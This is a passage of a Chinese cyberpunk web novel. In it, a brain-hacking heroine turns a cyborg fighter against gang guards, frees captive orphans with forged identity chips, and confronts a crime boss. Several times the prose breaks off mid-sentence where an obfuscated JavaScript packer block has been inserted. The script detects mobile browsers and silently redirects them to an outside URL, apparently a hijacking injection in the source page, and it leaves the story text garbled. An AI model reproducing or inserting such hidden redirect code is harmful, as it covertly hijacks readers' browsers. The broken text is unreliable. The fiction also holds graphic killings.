固定环的钉子飞出,直接打在吴魁的小腿上。 一阵尖锐的痛感窜入大脑。 林真死死抓住对话框,防止被甩出去。 吴魁抱着自己的讨饭骨,眼泪都出来了,扶着操作台颤颤巍巍地站起身,“前两管还是降低你的痛觉,第三管,是最新的兴奋剂……七爷说了……嘶——” “七爷说什么了!” “说你今天要打满三轮……前两轮让那小子先吃点好处。” “呸,他也配?等三轮结束,看我不把他拎到赛狗场,让他看看他是个什么玩意儿!快点打!” 暴熊一脚跺在地上。 吴魁抖了一下,抓起针管,一跛一跛地走到他身后,把针管扎进他脊椎旁的肌肉里。 两管痛觉抑制剂很快就打光了。 吴魁拔下最后一管药剂的针头保护套,挤出一点液体。 这可不是兴奋剂啊。意识里,林真站起身。她的右手一动,针头就在暴熊的脖子后停住了。 “怎么回事?你打不打了?”暴熊不耐烦地催促道,“老子等着去搞死那条狗呢!” 一个平静的声音响起,像吴魁,又不太像吴魁: “蠢货,这一针下去,今天谁是狗还不一定呢?” “你,在,说,什,么?”暴熊愣了一下,一张脸瞬间狰狞起来。他一脚蹬开剩下的合金固定环,转身一个头槌把吴魁撞翻在地。 针剂落在地上,咕噜噜滚进了椅子下。林真一跃,悄然潜入了暴熊的脑子。 吴魁捂着额头,摇摇晃晃地退到墙角。 “这针有什么问题?”暴熊步步紧逼。没有双臂保持平衡,他的步子异常沉重。 “没有,没有!”吴魁缓过来,伸长手要去按墙上的紧急呼叫铃。 暴熊一脚踹在他的手上。 连手带墙壁瞬间凹陷进去一块。 吴魁抱着手,嘴巴大张,像是一条脱水的鱼。 “你,再,说,一,遍?”暴熊庞大的阴影笼罩了吴魁,声音如同擂鼓。 ”你听错了,你真的听错了——”吴魁尖叫着,从口袋里摸出手术刀,胡乱挥舞着。 这间手术室的广播里,突然响起了癞头蛇的声音: “七爷说‘暴熊’在这个台子上待了太久了,需要给新人腾腾位子了……七爷捧着他,他就是暴熊,七爷不捧他了,他就是死熊。您要是看上什么器官,尽管和七爷说……” 吴魁尖叫一身,扔下刀子,爬起来,就要往门口跑。 但是太晚了。 暴熊一个鞭腿,柱子一样的腿直接砸在他的脊背上,将他砸倒在地。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16009059|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 扑面而来的怒意和杀意一瞬间将林真淹没。 林真听到暴熊在嘶吼,就像她自己在嘶吼一样。 “七爷,为什么!” 为什么为什么为什么? 为什么他付出了一切,将一身血肉换成金属,就换来这样的结果? 他是拳台的台柱,不是什么用过就丢的小角色!什么野人野狗,没有人可以拿他来立威! 他要去找常七爷,他要去质问对方为什么! 但这不是林真想要的。 她要混乱,混乱里才能有一线生机。 她要他解决所有守卫,替她和孩子们打开一条生路。 她想,你做了常七爷一辈子的傀儡,也替我做一回吧。 她将手放进“暴熊”那团蓝色的意识里,像是放进一池温水。手指微动,温水就泛起涟漪。 ——常七爷会杀了你。 ——常七爷今天就要你死。 ——没有人能改变常七爷的决定。 ——拳赛还没有开始,你得逃跑,你得逃跑! “我,我要出去!对,我要离开这里!”暴熊喃喃自语。他在手术室里转了两圈,接上自己的合金手臂,大吼一声,撞碎玻璃幕墙。 外头,守卫们听见动静,已经围了过来。见手术室里一地血腥,他们瞪大了眼睛,举起了武器。 暴熊的眼睛赤红,冲向对面的守卫。 林真在守卫们的脑海间跳跃,制造细微的停顿和犹豫。 前一个人的鲜血溅在后一个人的脸上。 后一个人听到前一个人的惨嚎。 手术室的玻璃墙如同过季的山茶花,嗵嗵落下,一地鲜红。 不到五分钟,只剩下最后一个守卫了。在其他人往前冲的时候,他一直落在后面,犹豫着想要逃走。 暴熊气势汹汹地向他走来,满脸鲜血,指关节的尖刺上挂着血肉,腿上插着一把刀,刀上卡着一支被砍断的人手。 守卫手里的砍刀”咣当”一声砸在地上。 他的嘴唇发抖,他想求饶,却根本喊不出声。他扶着墙壁,缓缓往后退。 但林真不能让他离开。她进入了守卫的脑子,控制着守卫向前走去。 暴熊狞笑着的脸越来越大,巨大的拳头从上而下,贯穿了守卫的脑子。 寸长的合金钢针从下巴穿出,像是勾住了一条鱼。 守卫张大了嘴巴,却发不出一点声音。 但是林真听到了。 她站在守卫的脑子里。周围,守卫的求饶声和呼救声层层叠叠,震耳欲聋。到了最后,他喊不动了,只是小声地哭喊着“妈妈!” 林真的眼前,无数记忆碎片如同大潮,骤然掀起。 海那么大,一个小人物的一生,也就只是一个被月亮牵动的浪头。 潮起了,潮又落了。 脑子里,守卫的哭声越来越小,从青年嘶哑的声音变成了孩童的声音。 林真的手在发抖,意识在战栗,几乎觉得自己也随着这个浪头消失了。 突然,旁边的牢房里,响起一个孩子的哭声,哭了半句就被人一把捂住。 是收养院的孩子! 林真麻木的思绪瞬间清醒。 她跳出了正在变成石头的脑子,回到了自己的身体里。 29. 浪头(三) 随着走廊里的喊杀声停下,手术室里,林真的眼睛也眨了一下。她回到了自己的身体,却不说话,也不动。 诺曼见她愣神,抬手拍了下她的肩膀,故作轻松道:“拳赛提前开始了啊?谁赢了?” 林真还没缓过来,被这么一拍,竟直直跌坐下去。 诺曼被唬了一大跳,赶紧抓住她的胳膊,不让她摔在地上。 “嘿,嘿,醒神了。”他伸手在林真眼前晃。 林真呼出一口气,猛然抬起头:“我找到他们了。” 她发髻上的簪子戳在诺曼的面罩上。 诺曼“嘶”了一声,捂住脸:“收养院的孩子?” “对。”林真站起身,用力敲了敲自己的腿,走到手术台旁,找出一支肾上腺素,给玛莎注射了。 她扶起玛莎,交给诺曼,交代道: “诺曼,你先带玛莎走。我去把孩子们带出来。” 走廊的地面上遍布腻滑的鲜血,林真凭着记忆找到刚才的囚室。 “桃子!”她拍着栏杆,冲里头喊。 黑暗里,响起一片细碎的声响。 “林真姐姐?” “林真姐姐!” “姐姐?” 穿着睡衣、灰头土脸的小孩子们一个个出现,扑到栏杆旁。最后的两个小孩子拉着桃子的双手。 桃子被拉着走了两步,又停下了。她站在黑暗和灯光的交界,像是黑夜里的一抹月光。 林真倒吸一口冷气,一把扯开自己的腰带,脱掉浴衣,隔着栏杆递给小孩子,“给桃子姐姐披上。” 又蹲下问:“安恬姐姐和铁棍哥哥呢?” 被问到的小女孩鼻子一抽:“他们把铁棍哥哥带走了,还有安恬姐姐,好多血,好多好多血……” “是什么时候的事?” 小女孩咬着嘴唇,垂下眼睛,就不知道了。 她还太小,对时间没什么概念,只知道被关在这里好久好久,肚子饿着饿着,就没感觉了。 黑暗中,桃子披上了浴衣,木然开口:“昨天晚上。” 说完这句话,她把拳头狠狠塞进了嘴里。 林真不再问了,至少,她得先把这几个带出去。她回到走廊上,把守卫的尸体连拖带拽,终于在其中一个的腰上找到了牢房钥匙。意识链接里,诺曼已经在催促她了。 林真打开牢房大门,冲里头招招手,小孩子们一个接一个地走出来。 除了桃子,她还站在牢房里,眼神空洞。 林真走进牢房,帮她拢上衣襟,遮住身上青紫的伤痕,再轻轻系上腰带。 “桃子,我们现在回家。”她说着蹲下身,去牵桃子的手。 桃子的瞳孔一点点聚焦,然后一口咬在林真赤裸的肩膀上。 她的牙齿重重磕在林真的锁骨上。 林真的肩膀一下子绷紧了,可她只是轻轻抱住女孩。她不知道该说什么,只一遍遍重复:“对不起,姐姐来晚了。” 如果她昨晚就来,一切会不会不一样?她突然开始痛恨在安全屋里睡得那样安稳的自己了。 她宁愿桃子尖叫、大喊、痛哭,可这个收养院最安静的、最体贴、最没有存在感的女孩,什么声音都没有发出,像是一个陶瓷人偶。 温热的液体顺着林真的锁骨流下。 桃子终于松了口。 林真拉起她的手,道:“我们回家。” 地道里没有灯,两侧装着蓝色的荧光带。 孩子们自动排成两排,顺着灯带往前走。左边是大孩子,右边是小孩子。大孩子手里拉着小孩子。 外头的喧哗声越来越近,越来越响。林真停下脚步,问道: “诺曼。”她问道,“外头什么情况?” 连接里,传来诺曼的声音:“暴熊和野人打到最后一盘了。你出地道上二楼,右转第三个房间,是个包厢。” VIP包厢里,地上铺着红色的丝绒地毯,桌椅都是黑色的钢化玻璃,里头嵌着金色和银色的花纹。 这里甚至还有一张沙发床,玛莎正半躺在上面。 诺曼坐在桌子上,端着一杯包厢赠送的红酒,长腿一伸,拦住了就要往玛莎身旁凑的小孩子们。 “别扑,好不容易运出来的,扑死了怎么办?”他皱起眉头。 林真把小孩子们带到一边,让他们坐下休息,然后径直走到诺曼面前,一把拿过他手里的酒杯,往旁边重重一放。 “还没结束呢,你倒是喝起来了?接下来怎么办?常七爷很快就会发现地下出了事,到时候药师和她的‘助手’会是最大的嫌疑人。他会来找我们。” “他找不到我们的。”诺曼笃定道。 包厢的门再一次被打开。 莫恕拎着一个大包走进来,用脚关上门。 “嚯!一,二,三,四,五……九,十——这么多小孩。”他看向诺曼和林真:“每次见到你们这一对,都有新的惊喜哈。” “你是不是皮痒了?” “我错了哥!”莫恕果断滑跪,冲小孩子们一招手,“过来,哥哥给你们化妆。” “小孩子就算化妆了,出去也会被发现吧?”林真仍有忧虑。 “这还不简单,骑大马呗。哎,你,把你弟弟放肩膀上。”莫恕一边指挥,一边从袋子里拿出一件黑色兜帽长袍,给两个孩子当头罩上。那长袍绣着白色和红色的繁复花纹。林真定睛一看,竟然有点像人体血管和神经分布图。 “这是血肉教的行头。”诺曼解释道。 “血肉教?” “血肉至上,机械非人。一帮不好惹的疯子罢了。” 莫恕给每个骑大马的小孩子脸上刷上死白死白的粉底,然后用黑色的细笔画出密密麻麻的纹身。长袍一套,兜帽一戴,看着就像一个个子不高的成年人了。 他后退一步,十分满意自己的杰作,朝诺曼伸出手,嘿嘿笑道:“拿来吧你。” 诺曼拿出一把芯片,拍进他手心里。 “说好了啊,这次用过完,这些都是我的了啊?” “想得美,就一张。” 莫恕捏起一张芯片:“一张就一张。血肉教的芯片,以后我可以在黑街横着走了。” “呵,要是被他们发现了,就有你受得了,他们会把你脑子里的荧光剂都抽出去。” “知道知道。”莫恕满口答应,凑到小孩子身边,“来,左耳朵朝向我,对对,好孩子,哥哥给你换个牛逼的芯片——等一下,你的芯片呢?” 包厢里突然安静了。 十个孩子,没有一个有身份芯片。 没有身份芯片,出门就是“审判者”的活靶子。 “你们的芯片呢?”林真赶紧问道。 “被坏人拿走了。”小孩子们七嘴八舌。 “刚才怎么不说?” “忘记了……不知道……” 小孩子们低着头,感觉自己犯了大错。 林真看向莫恕。莫恕举手投降:“我道歉,我刚进去就被诺曼带出来了,没经历过这个。” “不是你的错,是我没有检查。我们现在有几张芯片?” 诺曼跳下桌子:“八张。血肉教的芯片可不好弄。还差两张。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16020148|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 林真走到沙发床前,碰了碰玛莎的脑机接口:“不,我们还差三张。” “我不用芯片。”桃子突然开口,“我不要,让他们出去。” “那我也不要!”另一个大一点的孩子也跟着说,“让弟弟妹妹们出去。” 小一点的孩子们不知道发生了什么,赶紧抓紧了大孩子的手,跟着喊“不要”,生怕慢一点就会被丢下。 莫恕抓了抓自己的脑壳:“哎,我这人心软,看不得这些事。我们去隔壁干掉三个呗?” 诺曼看向林真。 林真看着玛莎。 莫恕看一眼诺曼,又看一眼林真:“你们俩倒是说话啊?干就干,不干就不干。” 楼下,巨大的叫好声和欢呼声像礼花一样炸开。 林真听到“暴熊”和”野人“的名字,被数千人呼喊。 她咬了咬牙:“他们不能顶着别人的芯片过一辈子。诺曼,你知道芯片会放在哪里吗?” 诺曼看了她一眼:“大概率在守卫的房间里。但我们来不及了回去了,林真。常七爷的人已经发现地牢出事了,我的监控被切断了。” 林真沉默片刻,突然拿起桌上的红酒杯,一饮而尽。酒液顺着喉咙灼烧而下,她仿佛借着这股热意下定了决心。 她伸手从耳后取出药师的芯片,走到桃子跟前。 桃子意识到她要做什么,睁大了眼睛,一边后退一边用力推她,“不行,你别这样,你让我死在这里。我不走……” 她本就站在房间角落,只退了两步,后背就撞到了墙壁。四下无路可退,她慌乱地拉过身旁的布帘挡在身前。 “桃子,”林真声音温柔,“你不想死,对不对?” 桃子眼里泛起泪光,却死死咬住嘴唇不说话。 林真轻轻握住她的手:“我也希望桃子能活下去,桃子能答应我吗?” 桃子的手在她手心里发着抖,渐渐地终于松开了。 布帘落下。 林真拨开她凌乱的头发,把芯片给她带上,然后拉着她的手,把她从角落里带了出来。 “莫恕,”她的语气恢复一贯的冷静干脆,“帮她化妆。” “哎,好嘞。等一下,那你呢?你怎么出去?”莫恕疑惑道。 诺曼轻笑一声:“她要回去。” 他走到林真跟前,“你们上层区的人,可真可笑。” 林真道:“这是我自己的决定。你不用和我去。” 诺曼哼笑一声:“让你一个人去送菜啊?那我不亏死。记着,你还欠着我呢。” 他取下自己的伪装芯片,又从裤袋里摸出自己原本的芯片,抓起林真的手,把两片芯片拍在她手里:“现在加起来就三张了。” 他们分了莫恕偷渡进来的武器,在包厢的门口分开。 孩子们都换上了血肉教的黑袍,桃子穿着药师的浴衣,帮莫恕一起架着同样披着黑袍的玛莎。 莫恕欲言又止,眼眶都憋红了。 诺曼“啧”了一声:“你要是敢把我的芯片搞丢,我亲自把你送给常老七。” 莫恕脸上的感动瞬间就消失了,“好啊,那你要是回不来,我就戴着你的芯片上街去裸奔!” 林真按了下眉心,觉得这两个人加起来最多十岁。 但她又有点羡慕。 如果她回不来,有谁会记挂她呢? 她只不过是一个没人认识的孤魂野鬼。 这时,桃子走上来,轻轻抱住了她,低声问道:“你会回来吗?” 林真心里一软,回抱住女孩。 “我会的。” 30. 龙头(一) 一阵阴风吹过,林真抬手抱住自己的胳膊,搓了搓。 之前她憋着一股气要带玛莎和孩子们离开,现在人送出去了,那口紧绷的气也泄了一半。她这才发觉地道里阴冷极了,像个墓穴。 墙壁上,那些暗色的斑块,越看越像大片的血迹。 她别开视线,故作轻松道:“诺曼,我发现我俩现在都是没有身份的人了。” “是啊,”诺曼随口接道,“待会死了就是两具没有身份的尸体。” 林真快走两步,赶上诺曼:“能不能说点好的?” “可能连尸体都没有。” 林真抬起胳膊就要肘他,突然被抓住了手臂。 诺曼压低声音道:“我看看他们在哪里。嘘。” 他们已经来到了地道的尽头,因此诺曼没有开口。这一句通过意识链接传来,直接在林真脑海里响起。 一阵麻痒从脑机接口炸开,直窜上后颈。 林真用力按住颈侧,狠狠瞪了诺曼一眼。 “起开,我来看。”她冷声道,然后闭上眼睛,默念“Escape”。 除了缩在牢房墙角的青蓝色脑子们,一队新的脑子出现在地牢里。 走廊上,癞头蛇带着打手们,直奔玛莎的手术室。 手术室里,自然是空空如也。 癞头蛇一脚踹在推车上。手术用品“叮铃哐啷”砸了一地。 “药师和那个女人呢?”他大吼。 底下人战战兢兢地来报:“蛇哥,那一批小货也不见了,要不要和七爷说?” “七爷在看死斗呢,谁不想活了敢去打扰?一群女人小孩残废,我就不信她们能走多远,都给我找!” 林真收回意识,对诺曼一点头,拿起枪就要出地道。 诺曼赶紧拦住她,从兜里掏出一颗烟雾弹,从半开的地道门扔出去。 一瞬间,浓雾如白浪翻涌,遮蔽了走廊。地牢里的换气系统自动感应,立刻开到最大,发出“呜呜”的风声,如同鬼哭。 “什么东西!”浓雾里,癞头蛇大声疾呼:“开枪!给我开枪!” 可很快,他感到鼻腔眼睛一阵刺激,捂着嘴咳嗽起来。 “烟雾加催泪,莫恕的珍藏。”诺曼回头对林真道,“我去吧,把他们的位置给我。” 无论是黑夜还是浓雾,没有什么能阻挡林真的意识视界。癞头蛇和打手们的脑子在黑色的背景里闪闪发光,完全不知道他们的位置已经全然暴露。 诺曼推开门,走出地道,听着脑子里的指令,抬枪连发。 一连四声枪响。 浓雾里的咳嗽和呼喊声戛然而止,重物倒地的声音接二连三。 诺曼收枪,快速退回地道。不过十几秒,他的眼睛已经被熏红了。 林真关上地道门,一回头,就对上诺曼的目光,晦涩不明。 “怎么了?”她疑惑。 “你这个人……”诺曼慢悠悠地说,“让人睡不好觉啊。” 似有若无的烟雾隔在他们中间,拂过皮肤,遮挡视线。 林真皱起眉。浴衣给了桃子,现在她上身只剩下一件裹胸。裹胸上的血凝固了,像一层硬壳。 她抱起双臂:“你什么意思?” 诺曼笑了一声,神色放松下来:“我是说你的能力,太开挂了。” 他把枪插入枪套,反手脱下身上的黑色夹克,塞进林真手里:“冷就直说啊。” 林真张了张嘴,一时想不出怎么怼回去。 是谁先说让人误会的话? 谁冷了? 是谁在胡说八道? 她愤愤地披上夹克,心想这夹克真是热得要死。 外头的烟雾已经开始消散,光线重新流进通道。诺曼率先推开大门。 林真回过神来,下意识重新切入意识世界。 黑暗中,一个蓝色的脑子潜伏在门外。随着门被推开,一把剔骨尖刀斜斜向上,直刺诺曼的腰侧。 “诺曼!” 林真睁眼,迅速抬起手枪,却陡然停住。 这个距离下,她不能保证不打到诺曼。她犹豫了,机会转瞬即逝。 刀刃寒光亮起的那一瞬,诺曼一个侧闪躲避。 “癞头蛇。”他捂住腰侧的割伤,看向眼前的男人,“命挺大的啊。” 癞头蛇的左肩中了枪,左手无力垂着,这时候持刀的右臂一抖,“咔哒”一声,小臂里弹出一截金属炮管。 “你命也挺大啊。那这个呢,你能躲吗?来啊,躲一个呗,让蛇爷我开开眼。” “那你也躲一个我看看?”林真举着枪走出地道,枪口稳稳指向癞头蛇的光头。 她走到诺曼身旁:“抱歉,我看到他们都倒了,是我大意了。你没事吧?” “离没有身份的尸体还差一点距离。”诺曼哼笑。 “贫死你算了。” 见林真出来,癞头蛇的目光一下子粘在了她身上。他舔了一下嘴唇,发出响亮的一声,“药师,你不穿衣服更好看了。” “那你看清楚点,这是你死前的最后一眼了。” “不不不,药师,你不要这一位的性命了吗?”癞头蛇的炮管亮起红色的光,同时腰胯往前一顶,“你过来,我就——” 林真缓缓放下枪。 “对对对!”癞头蛇紧紧盯着林真。 可下一秒,他的眼神发直。他看着自己的手臂慢慢收回,将炮管对准了自己的下巴。 “我说了最后一眼,那就是最后一眼。”林真平静道,“开炮吧。” 巨大的响声在走廊里回荡,无头的尸体摔在地上。 “就说不能惹女人。”诺曼靠着墙壁,耸了耸肩。这动作牵动了腰侧的伤口,让他倒抽一口冷气。 “你说你走这么快干什么?”林真从手术室里拿出一瓶双氧水,揭开诺曼的上衣,“自己抓着衣服。” 她直接把整瓶双氧水对着伤口倒了下去,“忍着,谁知道那把刀干过什么?” 白色的泡沫“呲呲”冒出,一瞬间盖过了皮肤,浓烈刺鼻的气味发散开来。 诺曼吃痛,一巴掌拍在墙壁上,“你谋财害命啊!” “对啊,你死了信用点都是我的。安静点,我饶你一命。” 林真放下空瓶,拿起生理盐水,直接用嘴咬开袋子,拎着对角往伤口上冲洗。 诺曼咬牙、吸气,声音打颤,可就是不肯安静:“下手,这么狠,是不是早就想,这么,干我了?” 林真没接话,埋头帮他缠纱布。等到最后一圈,她把纱布猛地一勒,打了个死结,然后手指顺势滑过纱布外的皮肤,重重一按。 “是啊。”她站起身,贴近诺曼耳边,“腹肌不错。” 诺曼瞬间闭嘴,呆愣愣地看着林真俯身捡起地上的门卡,机车夹克下露出枪套和一截劲瘦的腰肢。 她抬脚跨过赖头蛇的尸体,回头望过来。 “还不跟上?” 她眼尾的红色如同炸开的枪火,张扬欲飞。 她像是一把最昂贵、最精准、最优雅的手枪。枪口所指,所有脑子都应该臣服。 诺曼听到自己的心脏用力跳动,几乎要把肋骨打断。 他狠狠咬住自己的舌尖,快步跟上。 他们反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16025950|176787||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 锁了入口的大门,拉开守卫房间里每一个抽屉,看到弹夹就挂到身上,匕首插进腰带。 林真踮起脚尖,用力拉开最上面一个抽屉。 无数新新旧旧的芯片,如同刚下雨一样撒下,就像黑街火葬场外纷扬的骨灰。 这是那么多年,所有囚徒的身份芯片。 林真在芯片堆里坐下,一张一张地确认。 诺曼也蹲下来。他从头发里拉出接线,和一个金属探测仪一样,一扫扫过一堆芯片,准确地捡出两张,扔给林真。 林真把芯片装进夹克内侧的口袋里。 诺曼又捡起一张。 林真伸手去拿。 “不是你的。”诺曼手一晃,把芯片放进自己的口袋:“这张不错,我拿走了。” “是谁的?” “一个走私犯,上个月消失的。他的老窝我就帮他接手了。” “黑吃黑啊。”林真看了他一眼,就看到诺曼又捡起一张,递给她:“你的。” “不用。”林真撇了撇嘴,不打算接。 诺曼的神色严肃下来,又重复了一遍:“林真,这是你的。” 林真愣了一下,随即反应过来,瞳孔骤缩。她的手抖了几次,才成功地将芯片插入脑机接口。 ——林真,五区编号2003000023。 ——大脑等级,B级。 ——你有一条留言,等待查收。 她闭了闭眼。 “查收。” 一阵轻微的杂音过后,熟悉的声音响起: “真真,姐姐希望你能活下去,去哪一个区都好,好好活下去。” 那是林雪的声音。林真感觉肺里一空,突然就喘不上气来了。 她抓紧了胸口,手指一点点收紧。 那枚平安扣形状的纪念芯片从裹胸里滑出来,在灯光下一闪,露出上面刻着的四个字: 林真林雪。 那时,火葬场老板说,刻个字,留个念想吧,反正黑街也没有墓碑。他以为火化的是林真的亲人呢。 林真本来不想要的,听到这话才要了一张。林真、林雪,来世上一趟,又无人知晓地走了,她想着总要帮她们留下点痕迹。 她把纪念芯片死死攥进掌心。 诺曼找全了孩子们的身份芯片,等了一会儿,催促道:“我们该走了。芯片少一张,没有安恬的。” 林真站起身:“没有也好,说明她还活着。不管在哪里,活着就好,对吧?” 被锁住的入口外,已经传来撞门的声音。常七爷的人真是源源不断。 林真一路打开牢房的门,朝牢房里头喊:“芯片在值班室里!” 走廊里很快沸腾成一片。重获自由的囚徒们抢夺着芯片和药物。抢到芯片的捂着自己的耳后悄悄后退,没抢到的红着眼睛厮打在一起。 有昏了头的人企图扑向林真,被诺曼一拳打趴在地上。 “芯片在值班室里,听的懂人话吗?” 被枪口顶着脑袋,囚徒连连点头,眼神都清明了。 “那就滚,要我送你啊?” 诺曼冲着天花板开了一枪。 “砰!”巨大的响声在走廊里回荡。疯狂的人群停住了,自动分开一条路。 诺曼和林真来到地道入口。后面,有反应快的人悄悄跟上他们的脚步。 可走廊的另一头,也有人迫不及待地打开了被锁住的入口。 枪声响起。 林真回头看了一眼:“快走,常老七的人进来了。” 诺曼嘲讽道:“蠢货。” 他们并肩踏入了地道。 31. 龙头(二) 昏暗的地道里,脚步声急促而仓皇,向着出口涌去。 只要能混入观众,就能离开这里。而越早离开,活下去的概率就越大。这是所有囚徒的想法。 他们在为自己的性命奔跑,哪怕囚禁掏空了他们的身体,哪怕被打折过的腿跑起来一跛一跛。 出口近在眼前,他们几乎能听见外头的叫好声。 那是自由的声音。 人群中,诺曼突然抓住林真的手臂,带着她慢下脚步。 囚徒们迫不及待地超过他们,有几个甚至重重撞在林真身上。 诺曼揽住林真,往墙边一扑。 与此同时,第一个人已经奔上台阶,拉开了地道大门。 灯光洒落进来,将囚徒们的影子拉得很长,直拖进地道里。 外头,音乐炸响。在吉他和鼓点里,歌声嘶吼如号丧:“我们都是飞向天空的鸟啊——” 林真豁然抬起头。 一滴温热的液体砸在她脸上,她下意识一摸,湿滑黏腻。 是血。 一具又一具的尸体从楼梯上滚落下来,摔在她的脚边,如同坠落的飞鸟。 枪声里,歌声越来越尖利,穿透她的耳膜,无比清晰: “我们都是飞向天空的鸟啊,可天空全是假象,飞鸟啊,我们无存尸骨——” 密密麻麻的红点包围过来,将她和诺曼困住。 他们对视一眼,松开手里的枪。 两排武装打手把他们夹在中间,一路带到拳击场的最高层。 最高层只有一个包厢。 打手敲了敲包厢的实木大门,等了几秒钟,然后向两侧拉开大门,推着林真和诺曼走进去。 和一路走来的喧闹不同,包厢里很安静。厚重的单向玻璃将拳台的嘶吼与音浪隔绝在外。 包厢的两侧是深绿色的玻璃展示柜,里头陈列着各色人体器官,从干瘪的肺,一半机械一半血肉的心脏,狰狞的义肢,到破碎的头盖骨。 包厢里只有一张椅子,一张真皮躺椅,正对着落地窗,俯瞰拳台和观众席。 躺椅旁,一个人坐在地上,正专心擦拭着手里的老式合金弩。 这时,他手腕一动。 “嗖!” 一支弩箭脱手而出,射向最前面的打手。 弩箭是老式的,箭也是。 箭头撞在打手胸前的陶瓷装甲上,发出一声钝响,没有穿透。 打手下意识握住箭柄,愣在原地。 射箭那人抬头看了一眼。 只一眼,打手立刻拔下卡在胸前的箭,毫不犹豫地插进自己的脖子,一声不吭就倒下了。 林真目睹了这一切。她睁大了眼睛。这是什么能力?对方也是大脑骇客吗? 一片死寂里,她听见一声轻笑。 躺椅里传来一道低沉懒散的男声: “海蛇,不看比赛就安分点,别把我的收藏打坏了。你什么准头,心理没点逼数啊?” 那人的语气像是玩笑,但海蛇立刻放下手里的弓弩,站起身,对着躺椅垂下头,恭敬无比。 躺椅里的人抬起右手,轻轻一挥。 武装打手们如同得到了赦令,拖着尸体,安静地退出去,带上了门。 真皮躺椅慢慢转过来,椅子里坐着一个中年男人。 林真正要细看,就对上海蛇的目光。 没有任何预兆,一阵突如其来的恐惧掌控了她的身体。她的身体完全僵住,本能嘶喊着“快逃!” 这就是,那个打手自杀的原因吗?她突然意识到。 “海蛇。”那个中年人有些不悦。 “是。”海蛇再次低下头。 恐惧如潮水退去。林真用力喘着气,如同溺水生还。 “小姑娘,你不是药师吧?”那个中年人笑着问。 不等林真回答,他叹了口气,像是在惋惜,“看起来我的手下都是蠢货,竟然放你这种货色进门了。海蛇,今天值班那几个人,都拆了吧。” 林真狠狠咬了一口舌尖,用疼痛让自己清醒。 “你是常七爷。”她抬起头,直视对方。 常七爷快活地笑起来,“她竟然有胆子问我,有意思。海蛇,你听听,真有意思。” 海蛇也配合地笑起来,他的笑声如同猫头鹰鸣叫。 “啧,你别笑了,太难听了。”常七爷揉了一下自己的耳朵,收起笑容,“收养院的落网之鱼?来找我报仇的?算了,我没兴趣。” 他的眼睛很毒,只一眼就看出林真不是黑街的人。手上没茧,身上没肉,不过是个刚成年的女娃,没有威胁,也没有价值。 他于是转向诺曼。 “N,一别多年啊,维斯佩当年带你的时候,你还是个毛头小子。一转眼,维斯佩死了,我也老了。” 他停顿了一下:“我是念旧情的,一日给你们当龙头,一辈子是龙头,对不对?你干掉了维斯佩,按道理可以接她的位子。但你又给我捅这么大一篓子。” 他用手指点了点诺曼:“顽皮,顽皮。” 诺曼的脖子上青筋鼓起。 “我也不为难你,年轻人嘛,都有点脾气。有本事的年轻人,我求才若渴啊。”常七爷在躺椅扶手上轻拍三下,声音低沉:“把我的货交出来,我可以当今天的事没有发生过,维斯佩的位置也是你的,还有——” 他随手一指林真,“她的性命也是你的。” 从头到尾,他甚至没有用正眼看林真。 林真感受到一种愤怒,一种常常发生在女性身上的愤怒。 当她进入一间满是男性的会议室,当她试图发言,那些男人却只会像丢绣球一样互相丢着话头。 她的意见被无视,她的存在被弱化。 他们认为她没有力量。 常七爷看着诺曼,看的是一个对手,合作者,或者下属。 而她,只是一个可交易的附属物。她的身份、她的愤怒、她的欲望,都不被计入这个对话。 她不在这个谈判里,她在筹码那一边。 她的牙关咬得死紧。 诺曼突然握住了她的手,在她掌心用力按了一下。 林真对上他的眼睛。 不要冲动。那双眼睛在说。 ——林真,在黑街,你会希望自己被低估,这是一种保护色。 她看回去。 ——可那也是种侮辱。 常七爷见他们互动,自以为洞悉了诺曼的想法,“N,所以你是要她的性命咯?不错,对自己的女人就要有情有义嘛。我喜欢。小姑娘,你叫什么呀?” 他破例看了一眼林真。 林真突然笑了。 她笑得很甜:“林真,被你杀死的林真。” 要取你命的林真。她默念,Escape。 下一刻,意识世界轰然展开。 她看见了常七爷的脑子,那也不过就是一个青蓝色的脑子罢了,她可以控制。 她扑过去。 可常七爷脑子的旁边,海蛇那绿色的脑子突然放出光芒来。绿色的光带如同一条巨蟒,猛然窜出,比林真的速度更快。 恐惧再次汹涌而来,黑色的意识世界开始剧烈震动。 林真的膝盖一痛,才意识到自己已经跪在了地上。她的身体违背了她的意志,在莫大的恐惧里颤抖着。她的肌肉开始痉挛,几乎让她无法呼吸。 叮叮叮叮。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 